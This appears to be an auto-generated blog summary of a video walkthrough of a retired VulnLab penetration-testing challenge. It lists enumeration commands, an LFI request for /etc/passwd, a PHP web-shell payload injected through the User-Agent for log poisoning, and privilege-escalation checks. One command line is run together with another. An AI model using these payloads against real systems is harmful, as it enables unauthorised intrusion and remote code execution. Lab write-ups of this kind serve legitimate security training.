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In this video walkthrough, Tyler Ramsbey demonstrates a retired penetration testing hiring challenge called “Reset” on VulnLab. The challenge involves exploiting a vulnerable web application leading to Local File Inclusion (LFI) and potential log poisoning.
Video: https://lnkd.in/gF6sTf7s
You Should Know:
1. Enumeration Methodology
Before exploitation, thorough enumeration is critical. Use these commands to gather information:
Network Scanning
nmap -sV -sC -p- <target_IP> -oN scan_results.txt
– -sV: Service version detection
– -sC: Default NSE scripts
– -p-: Scan all ports
Web Directory Bruteforcing
gobuster dir -u http://<target_IP> -w /usr/share/wordlists/dirb/common.txt -o directories.txt
2. Exploiting Local File Inclusion (LFI)
LFI allows reading sensitive files like `/etc/passwd`:
curl http://<target_IP>/vulnerable_page.php?file=../../../../etc/passwd
Common LFI-to-RCE via Log Poisoning
If the server logs user input (e.g., /var/log/apache2/access.log), inject PHP code:
curl -A "<?php system(\$_GET['cmd']); ?>" http://<target_IP>
Then execute commands via:
curl http://<target_IP>/vulnerable.php?file=/var/log/apache2/access.log&cmd=id
3. Privilege Escalation Techniques
After initial access, check for misconfigurations:
sudo -l find / -perm -4000 2>/dev/null
Exploit SUID binaries or cron jobs for root access.
What Undercode Say
This challenge highlights the importance of systematic enumeration and leveraging LFI for initial access. Log poisoning remains a reliable method for RCE in poorly configured web apps. Always document findings for real-world engagements.
Expected Output:
- Successful LFI exploitation leading to `/etc/passwd` disclosure.
- Log poisoning resulting in remote code execution.
- Privilege escalation via misconfigured permissions.
Prediction
As web applications grow more complex, LFI vulnerabilities may decline due to better input sanitization. However, misconfigured logging systems will remain a key attack vector in legacy systems.
Relevant URLs:
References:
Reported By: Tyler Ramsbey – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
